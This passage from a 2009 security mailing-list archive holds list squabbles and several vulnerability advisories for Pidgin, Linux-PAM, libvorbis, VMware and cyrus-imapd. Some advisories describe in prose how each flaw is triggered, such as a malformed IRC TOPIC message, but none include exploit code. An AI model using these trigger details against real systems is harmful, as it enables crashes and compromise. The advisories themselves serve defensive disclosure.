
The few people who are upset that some people are banned are eligible for
a full refund of all the money they paid to join this list.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090906/631926ec/attachment.bin 

From pschmehl_lists at tx.rr.com  Sun Sep  6 18:00:39 2009
From: pschmehl_lists at tx.rr.com (Paul Schmehl)
Date: Sun, 06 Sep 2009 12:00:39 -0500
Subject: [Full-disclosure] Blonde moment for the list administrator
In-Reply-To: <20090906140054.7731420040@smtp.hushmail.com>
References: <20090906140054.7731420040@smtp.hushmail.com>
Message-ID: <4FA660EDCFC6F83D5E8F8E7B@Macintosh-2.local>

--On September 6, 2009 9:00:54 AM -0500 full-censorship at hushmail.com wrote:

>
> vulcanius <vulcanius at gmail.com> wrote:
>> Go away n3td3v.
>
> i'm no fan of the n3td3v group but i do believe in freedom of
> speech.
>

You and thousands of other bozos.  You're in good company though.  There's 
a whole pantheon of idiots worldwide who think they should be able to 
impose their ideas on others.

Freedom of speech refers to freedom from governmental repression of 
speech, especially in the political arena.  It has absolutely nothing to 
do with repression of speech on a privately owned mailing list, any bars 
or restaurants you might frequent or even your friend's house.

If you want freedom of speech on a mailing list, start your own.  Then you 
get to make the rules.

Go back to school, pay attention this time, and try to learn the 
difference between public and private ownership.

Paul Schmehl, If it isn't already
obvious, my opinions are my own
and not those of my employer.
******************************************
WARNING: Check the headers before replying


From canito at dalan.us  Sun Sep  6 19:23:37 2009
From: canito at dalan.us (David Alanis)
Date: Sun, 06 Sep 2009 13:23:37 -0500
Subject: [Full-disclosure] What's with www.modsecurity.org
In-Reply-To: <4FA660EDCFC6F83D5E8F8E7B@Macintosh-2.local>
References: <20090906140054.7731420040@smtp.hushmail.com>
	<4FA660EDCFC6F83D5E8F8E7B@Macintosh-2.local>
Message-ID: <20090906132337.dz4g504fos0o4gog@mail.dalan.us>

Good Day,

Anyone happen to know what is going on with www.modsecurity.org or  
www.breach.com?

Cheers,
David

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From pulsoid at icysilence.org  Sun Sep  6 18:08:05 2009
From: pulsoid at icysilence.org (Cristofaro Mune)
Date: Sun, 06 Sep 2009 19:08:05 +0200
Subject: [Full-disclosure] IS-2009-001 - Pidgin IRC TOPIC message DOS
Message-ID: <4AA3EC75.7060102@icysilence.org>

Security Advisory

IS-2009-001 - Pidgin IRC TOPIC message DOS


Advisory Information
--------------------
Published:
2009-09-03

Updated:
2009-09-06

Vulnerable:
Pidgin 2.6.1
Previous versions may be also affected.

Not Vulnerable:
Pidgin 2.6.2

Vulnerability Details
---------------------
Class:
Denial of Service

Remote:
Yes

Local:
No

Public References:
CVE: CVE-2009-2703
BugtraqID: 36277


Summary:
A malicious IRC server may perform a remote denial of service by sending
a malformed IRC TOPIC message.
Application crash will occur upon reception of such message.


Details:
A properly crafted IRC TOPIC message is able to trigger a NULL pointer
dereference in the libpurple code portion devoted to IRC message parsing.
The relevant code is located in libpurple/protocols/irc inside the
pidgin source tree.

Failure in populating a zero-filled array with the proper values, will
occur when parsing some TOPIC messages that do not include a topic
description field.
Such an array will then be processed by irc_msg_topic in msgs.c and
irc_mirc2txt in parse.c, without being checked for the presence of NULL
values.
This leads to a NULL pointer dereference in irc_mirc2txt, causing a
segmentation fault and the application crash.

An attacker could also trigger the vulnerability by properly injecting,
by any means, a '\r\n' sequence into a valid TOPIC message.


Solution:
Upgrade to Pidgin 2.6.2


Additional Information
----------------------
A more detailed analysis is available on http://www.icysilence.org


From elazar at hushmail.com  Mon Sep  7 00:45:17 2009
From: elazar at hushmail.com (Elazar Broad)
Date: Sun, 06 Sep 2009 19:45:17 -0400
Subject: [Full-disclosure] why not a sandbox
Message-ID: <20090906234517.EF7D220040@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

http://www.sandboxie.com/

On Fri, 04 Sep 2009 14:05:24 -0400 RandallM <randallm at fidmail.com>
wrote:
>how come we just can't sandbox the browser in away from the
>system.
>its the users that just get gmail and click links, watch youtube
>vids
>and check FaceBook and Mypace that infect the network!
>
>--
>been great, thanks
>a.k.a System
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQECAAYFAkqkSY0ACgkQi04xwClgpZhUagP+M5dOmEce1r4B/+yj0n6pA73T6gaK
pGgL74XuFLJFFF1WoHFZG3mkePR/DZGyz+8dl7B/TSxpblXtC4df9FSU5ri1NyU/pPiZ
O7XvZPD0jL1zmGtysZc5NKa6/PAGwFSF0SsLPWStxCoVEg1QkOZWUCWkaSRczedGwyiK
4BEdaPo=
=7VkF
-----END PGP SIGNATURE-----


From elazar at hushmail.com  Mon Sep  7 00:48:09 2009
From: elazar at hushmail.com (Elazar Broad)
Date: Sun, 06 Sep 2009 19:48:09 -0400
Subject: [Full-disclosure] What's with www.modsecurity.org
Message-ID: <20090906234810.1A77920040@smtp.hushmail.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Works fine for me...

On Sun, 06 Sep 2009 14:23:37 -0400 David Alanis <canito at dalan.us>
wrote:
>Good Day,
>
>Anyone happen to know what is going on with www.modsecurity.org or
>
>www.breach.com?
>
>Cheers,
>David
>
>----------------------------------------------------------------
>This message was sent using IMP, the Internet Messaging Program.
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Version: Hush 3.0
Note: This signature can be verified at https://www.hushtools.com/verify

wpsEAQECAAYFAkqkSjkACgkQi04xwClgpZh0gQP4yQRl6dW29vq6BMHZ3BZgykX2CWuA
c/dadvg4Px+YPs4DGbf3Aut7H7LrhrC1GKp1qvXO2npQjMmm+GxVX9QnAqao6HO2/TC0
UXad2OTdYgeMOsPC8iNyiYb0kA7YD+pmiBghXsDeyj8wJOrMNYEI2zWYAidNN3xPfPEb
XJNdlQ==
=xqoS
-----END PGP SIGNATURE-----


From a3li at gentoo.org  Mon Sep  7 01:57:29 2009
From: a3li at gentoo.org (Alex Legler)
Date: Mon, 7 Sep 2009 02:57:29 +0200
Subject: [Full-disclosure] [ GLSA 200909-01 ] Linux-PAM: Privilege escalation
Message-ID: <20090907025729.2c6aa8b9@neon>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200909-01
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: Linux-PAM: Privilege escalation
      Date: September 07, 2009
      Bugs: #261512
        ID: 200909-01

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

An error in the handling of user names of Linux-PAM might allow remote
attackers to cause a Denial of Service or escalate privileges.

Background
==========

Linux-PAM (Pluggable Authentication Modules) is an architecture
allowing the separation of the development of privilege granting
software from the development of secure and appropriate authentication
schemes.

Affected packages
=================

    -------------------------------------------------------------------
     Package       /  Vulnerable  /                         Unaffected
    -------------------------------------------------------------------
  1  sys-libs/pam       < 1.0.4                               >= 1.0.4

Description
===========

Marcus Granado repoted that Linux-PAM does not properly handle user
names that contain Unicode characters. This is related to integer
signedness errors in the pam_StrTok() function in libpam/pam_misc.c.

Impact
======

A remote attacker could exploit this vulnerability to cause a Denial of
Service. A remote authenticated attacker could exploit this
vulnerability to log in to a system with the account of a user that has
a similar user name, but with non-ASCII characters.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All Linux-PAM users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose =sys-libs/pam-1.0.4

References
==========

  [ 1 ] CVE-2009-0887
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0887

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200909-01.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=======

Copyright 2009 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 198 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090907/7a1e35e2/attachment.bin 

From a3li at gentoo.org  Mon Sep  7 01:57:43 2009
From: a3li at gentoo.org (Alex Legler)
Date: Mon, 7 Sep 2009 02:57:43 +0200
Subject: [Full-disclosure] [ GLSA 200909-02 ] libvorbis: User-assisted
 execution of arbitrary code
Message-ID: <20090907025743.1c433886@neon>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200909-02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: Normal
     Title: libvorbis: User-assisted execution of arbitrary code
      Date: September 07, 2009
      Bugs: #280590
        ID: 200909-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A processing error in libvorbis might result in the execution of
arbitrary code or a Denial of Service.

Background
==========

libvorbis is the reference implementation of the Xiph.org Ogg Vorbis
audio file format. It is used by many applications for playback of Ogg
Vorbis files.

Affected packages
=================

    -------------------------------------------------------------------
     Package               /  Vulnerable  /                 Unaffected
    -------------------------------------------------------------------
  1  media-libs/libvorbis       < 1.2.3                       >= 1.2.3

Description
===========

Lucas Adamski reported that libvorbis does not correctly process file
headers, related to static mode headers and encoding books.

Impact
======

A remote attacker could entice a user to play a specially crafted OGG
Vorbis file using an application that uses libvorbis, possibly
resulting in the execution of arbitrary code with the privileges of the
user running the application, or a Denial of Service.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All libvorbis users should upgrade to the latest version:

    # emerge --sync
    # emerge --ask --oneshot --verbose =media-libs/libvorbis-1.2.3

References
==========

  [ 1 ] CVE-2009-2663
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2663

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200909-02.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=======

Copyright 2009 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 198 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090907/240fa3bc/attachment.bin 

From 5up3rh3i at gmail.com  Mon Sep  7 05:32:15 2009
From: 5up3rh3i at gmail.com (IEhrepus)
Date: Sun, 6 Sep 2009 21:32:15 -0700
Subject: [Full-disclosure] =?GB2312?B?SUVocmVwdXMgz+u4+sT6wcTM7A==?=
Message-ID: <f3c3e1a00909062132x4b01b55al@mail.gmail.com>

-----------------------------------------------------------------------
IEhrepus???????? Google ????????????????????????????????????????????

?????????? Gmail ?? Google Talk??????????
http://mail.google.com/mail/b-4387e3d034-6c1e7bb5df-980a0f82a02d4d92
??????????????????????IEhrepus??????????

?????? Gmail???? Google ?????????????????????????????????????? 2,800 ??????????????IEhrepus??????????????????
http://mail.google.com/mail/a-4387e3d034-6c1e7bb5df-980a0f82a02d4d92

Gmail ??????????????
- ?????? Gmail ??????????????
- ??????????????????????????
- ??????????????????????????????????????????????????????????
- ????????????????????????????????????????????????????????????????

?????????????????????????????????????????????????? Gmail ??????
???????????? Google ?????????????????? Google Talk??

http://www.google.com/talk/intl/zh-CN/

Google Talk ??????????????
- ????????????????????????????????????????
- ???????????????? Gmail ????????????
- ???? Google Talk ???????????????? PC ????????????????????????

????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

????
Google ????????

?????????? Gmail ?? Google Talk??????????
http://mail.google.com/mail/help/intl/zh_CN/about.html
http://www.google.com/talk/intl/zh-CN/about.html

????????????????????????????????????????????????????????????????????????

From hso at nosneros.net  Mon Sep  7 08:41:26 2009
From: hso at nosneros.net (Holt Sorenson)
Date: Mon, 7 Sep 2009 07:41:26 +0000
Subject: [Full-disclosure] DefCon 17 CTF packet captures online
Message-ID: <20090907074126.GJ14104@nosneros.net>

We have just finished the last bits in getting the DefCon
17 CTF packet captures online. Snag them from:

http://ddtek.biz/

<3 ur sheep and mom too,
ddtek

-- 
Holt Sorenson
hso at nosneros.net
www.nosneros.net/hso


From remove-vuln at secunia.com  Mon Sep  7 08:45:24 2009
From: remove-vuln at secunia.com (Secunia Research)
Date: Mon, 7 Sep 2009 09:45:24 +0200
Subject: [Full-disclosure] Secunia Research: VMWare VMnc Codec Mismatched
	Dimensions Buffer Overflow
Message-ID: <200909070745.n877jOtQ009045@ca.secunia.com>

====================================================================== 

                     Secunia Research 07/09/2009

      - VMWare VMnc Codec Mismatched Dimensions Buffer Overflow -

====================================================================== 
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Vendor's Description of Software.....................................3
Description of Vulnerability.........................................4
Solution.............................................................5
Time Table...........................................................6
Credits..............................................................7
References...........................................................8
About Secunia........................................................9
Verification........................................................10

====================================================================== 
1) Affected Software 

* VMWare Workstation version 6.5.2 build 156735.

NOTE: Other products and versions may also be affected.

====================================================================== 
2) Severity 

Rating: Highly critical
Impact: System access
Where:  Remote

====================================================================== 
3) Vendor's Description of Software 

"VMware Workstation makes it simple to create and run multiple virtual
machines on your desktop or laptop computer. ... You can even use 
Workstation 6.5 to record and play video files ..."

Product Link:
http://www.vmware.com/products/ws/

====================================================================== 
4) Description of Vulnerability

Secunia Research has discovered a vulnerability in various VMWare 
products, which can be exploited by malicious people to compromise a 
user's system.

The vulnerability is caused due to a boundary error in the VMnc codec
(vmnc.dll) and can be exploited to cause a heap-based buffer overflow
via a specially crafted video file with mismatched dimensions.

Successful exploitation may allow execution of arbitrary code.

====================================================================== 
5) Solution 

Update to version 6.5.3 build 185404.

====================================================================== 
6) Time Table 

30/04/2009 - Vendor notified.
30/04/2009 - Vendor response.
21/08/2009 - Patched VMware Workstation, Player, and ACE released.
04/09/2009 - Patched VMware Workstation Movie Decoder released.
07/09/2009 - Public disclosure.

====================================================================== 
7) Credits 

Discovered by Alin Rad Pop, Secunia Research.

====================================================================== 
8) References

The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2009-0199 for the vulnerability.

====================================================================== 
9) About Secunia

Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:

http://secunia.com/advisories/business_solutions/

Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private 
individuals, who are interested in or concerned about IT-security.

http://secunia.com/advisories/

Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the 
security and reliability of software in general:

http://secunia.com/secunia_research/

Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:

http://secunia.com/corporate/jobs/

Secunia offers a FREE mailing list called Secunia Security Advisories:

http://secunia.com/advisories/mailing_lists/

====================================================================== 
10) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2009-25/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

======================================================================


From nion at debian.org  Mon Sep  7 14:17:12 2009
From: nion at debian.org (Nico Golde)
Date: Mon, 7 Sep 2009 15:17:12 +0200
Subject: [Full-disclosure] [SECURITY] [DSA 1881-1] New cyrus-imapd packages
	fix arbitrary code execution
Message-ID: <20090907131712.GA13463@ngolde.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
Debian Security Advisory DSA-1881-1                    security at debian.org
http://www.debian.org/security/                                 Nico Golde
September 7th, 2009                     http://www.debian.org/security/faq
- --------------------------------------------------------------------------

Package        : cyrus-imapd-2.2
Vulnerability  : buffer overflow
Problem type   : local (remote)
Debian-specific: no
CVE ID         : none assigned yet

It was discovered that the SIEVE component of cyrus-imapd, a highly scalable
enterprise mail system, is vulnerable to a buffer overflow when processing
SIEVE scripts.  Due to incorrect use of the sizeof() operator an attacker is
able to pass a negative length to snprintf() calls resulting in large positive
values due to integer conversion.  This causes a buffer overflow which can be
used to elevate privileges to the cyrus system user.  An attacker who is able
to install SIEVE scripts executed by the server is therefore able to read and
modify arbitrary email messages on the system.


For the oldstable distribution (etch), this problem has been fixed in
version 2.2.13-10+etch2.

For the stable distribution (lenny), this problem has been fixed in
version 2.2.13-14+lenny1.

For the testing (squeeze) and unstable (sid) distribution, this problem
will be fixed soon.


We recommend that you upgrade your cyrus-imapd-2.2 packages.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Debian (oldstable)
- ------------------

Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.

Source archives:

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2.diff.gz
    Size/MD5 checksum:   258553 dcbaf7e6c1f9ce896d2b2e75215797bd
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2.dsc
    Size/MD5 checksum:     1298 7eac896a46888f98ab76fd6287c5eb2f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13.orig.tar.gz
    Size/MD5 checksum:  2109770 3ff679714836d1d7b1e1df0e026d4844

Architecture independent packages:

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-doc-2.2_2.2.13-10+etch2_all.deb
    Size/MD5 checksum:   226846 45903c38c5442ab0bc393b09a374d28c
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-admin-2.2_2.2.13-10+etch2_all.deb
    Size/MD5 checksum:    80188 0fee8aa188fca06ca24f905e437f3621

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:  1207538 1c4cc5eb3f83d0586e9ac3d7f0881a32
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:  1007132 7bcdb4a2bf9aff702bfa0ebb9708bc56
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:   138358 acdcfa535f091c083e3c10136c033958
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:   197654 f7305fa014e8b137efbc8e6dad92bd81
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:   649710 46733c9a34e7df4ef49a91037f6e667d
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:   302254 ff005ebe300d0b94233c335300ed7f51
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:   297038 0c57dae1e59453a42263338c8d4fb4bf
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_alpha.deb
    Size/MD5 checksum:  6053052 0a5c3aaaf6774d38e4d016f207996d39

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:   612176 81da459bcdf3a79aeeb6db27ecdd8497
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:   132766 371d24b4e829b8f76795b209efdde682
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:   184892 60763da463da9578deea8a4eb73e5ccf
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:   270150 2f4de9d10caf4904692cc69714f91a4a
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:   944062 22a44fea5b208b74dc1bd65bfd9698c6
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:   282322 7fe526f08b1ec1841f78b01f0a260552
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:  1143778 526cabf2a03e5ddf8887dee32874d9cc
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_amd64.deb
    Size/MD5 checksum:  5724502 d2928b12c103294c4c6a2eb690720abc

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:   128294 a2febef3ad9a2b403755790001f700dd
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:  1117150 2a175ac2503b2a3f7e559a53557d0714
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:   261108 65c02684fad3c02b0f83088aebb8fa70
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:  5591002 50fdcf8b97a6811d8a7188fdda553f56
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:   924666 4799c2c4620ad76774823d2ca41f3cea
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:   599160 8f2638456984589e39512d07a58da59c
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:   171958 bf973683bfcae682dcdcdf47bedf5c52
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_arm.deb
    Size/MD5 checksum:   276406 e1d44eb779e37c849b6a5fc843de0f92

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:   290332 84b9928fc29e23d688593a049cbe2d32
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:  1179358 35587db7601ded4924fe953e20ae9415
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:   135216 cb6e87f17d4362c76ef54fb4b777a80b
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:   277372 5a068e5839db827c82ed01f8d1d5b096
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:   191390 1f9a7c3fad477627b533bf3e739587b8
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:   979538 c643e5e58bd62a9f337262deede9e358
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:   635912 2be0e1d5bb484bfa5ae013aace10fe6e
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_hppa.deb
    Size/MD5 checksum:  5893896 0ac69e9bcb92affb6a4ee28285294e04

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:   595168 b743c1e13ba5f8f93c951e967ce0a5d9
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:   263888 6c1a07f483a12dd0b08ae7a6a4f76e6b
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:   274292 c7e1a214f7e69f1ec8dc1e908bc0a336
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:  5571370 62613260381500fb11d1dddef973ee76
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:   128536 d4a0cefcc5ae3c9ab6ac5483b9b5132c
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:   176088 322ca75806d39473fb46392728e1a9ba
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:   916072 ac7b4266d4df3991fa01eb9b99e44eac
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_i386.deb
    Size/MD5 checksum:  1109642 97a878549b14c119302bbc86ce5b8f2a

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-murder-2.2_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:  1430136 23f5115e92c675ebc58a34902a8f75cd
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:   780600 32a31ecfdf115760891bc84908421b2f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:  1213798 c5365d05d9e6bd052b8a59e483b252cd
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:   242886 72d60f71240fa184dce1d589d40ff5d8
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-common-2.2_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:  7106334 a049e10468aa088498ae7ae340ec841f
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-pop3d-2.2_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:   349564 c51f2bfc9ec6995f5c9f931abee429ad
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-dev-2.2_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:   315322 8858813e4002205acd8f15b1af85a80e
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_ia64.deb
    Size/MD5 checksum:   159712 15bc46c7bf93ef6bc5ad343aa04621d6

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-imapd-2.2_2.2.13-10+etch2_mips.deb
    Size/MD5 checksum:   945050 b3f7dbdee69cffb95c9f70f21a2897b1
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-nntpd-2.2_2.2.13-10+etch2_mips.deb
    Size/MD5 checksum:   611820 a973b4eb55d50855c0a0906afc408592
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/libcyrus-imap-perl22_2.2.13-10+etch2_mips.deb
    Size/MD5 checksum:   171452 e03c5344f7975a386316b12de4ccf044
  http://security.debian.org/pool/updates/main/c/cyrus-imapd-2.2/cyrus-clients-2.2_2.2.13-10+etch2_mips.deb
